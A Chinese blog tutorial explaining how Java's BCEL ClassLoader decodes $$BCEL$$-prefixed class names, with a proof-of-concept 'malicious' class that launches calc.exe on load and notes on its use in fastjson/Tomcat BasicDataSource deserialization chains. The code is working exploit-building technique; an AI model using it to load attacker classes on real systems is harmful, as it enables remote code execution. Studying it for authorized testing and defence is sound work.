BCEL:加载恶意类
直入主题
为啥要用BCEL?
-
可以加载任意类(不一定要是依赖中的,可以是自己编写的恶意类)
-
影响范围广,如下
JDK内置类(JDK < 8u251)
Tomcat中相关依赖:
Tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource
Tomcat8及以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
com.sun.org.apache.bcel.internal.util.ClassLoader重写了默认的类加载方法
当类名以$$BCEL$
开头时,会对后续字符串进行解码操作,用 createClass() 方法拿到一个 JavaClass 对象,最终通过 defineClass() 加载字节码还原类。
com.sun.org.apache.bcel.internal.util.ClassLoader重写了默认的类加载方法
当类名以$$BCEL$$
开头时,会对后续字符串进行解码操作,用 createClass() 方法拿到一个 JavaClass 对象,最终通过 defineClass() 加载字节码还原类。
编写代码
我们现编写一个恶意类,这个类很简单,在静态初始化模块执行calc即可
这样当类被加载时,就会执行calc,很nice
package org.example;
import java.io.IOException;
public class Calc {
static {
try {
System.out.println(" [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
随后我们回到主函数,通过BCEL加载这个恶意类
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Main {
public static void main(String[] args) throws Exception {
System.out.println("[+]低版本jdk可用BCEL,JDK < 8u251");
System.out.println("[+]获取Calc类");
JavaClass cls = Repository.lookupClass(Calc.class);
System.out.println("[+]获取Calc类的编码");
String code = Utility.encode(cls.getBytes(), true);
System.out.println(" "+code);
System.out.println("[+]使用BCEL的ClassLoader加载 $$BCEL$$ + Calc类的编码");
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
执行结果
用途
用在fastjson中org.apache.tomcat.dbcp.dbcp2.BasicDataSource
链,用来加载恶意类
相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何违法活动所产生的任何责任。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析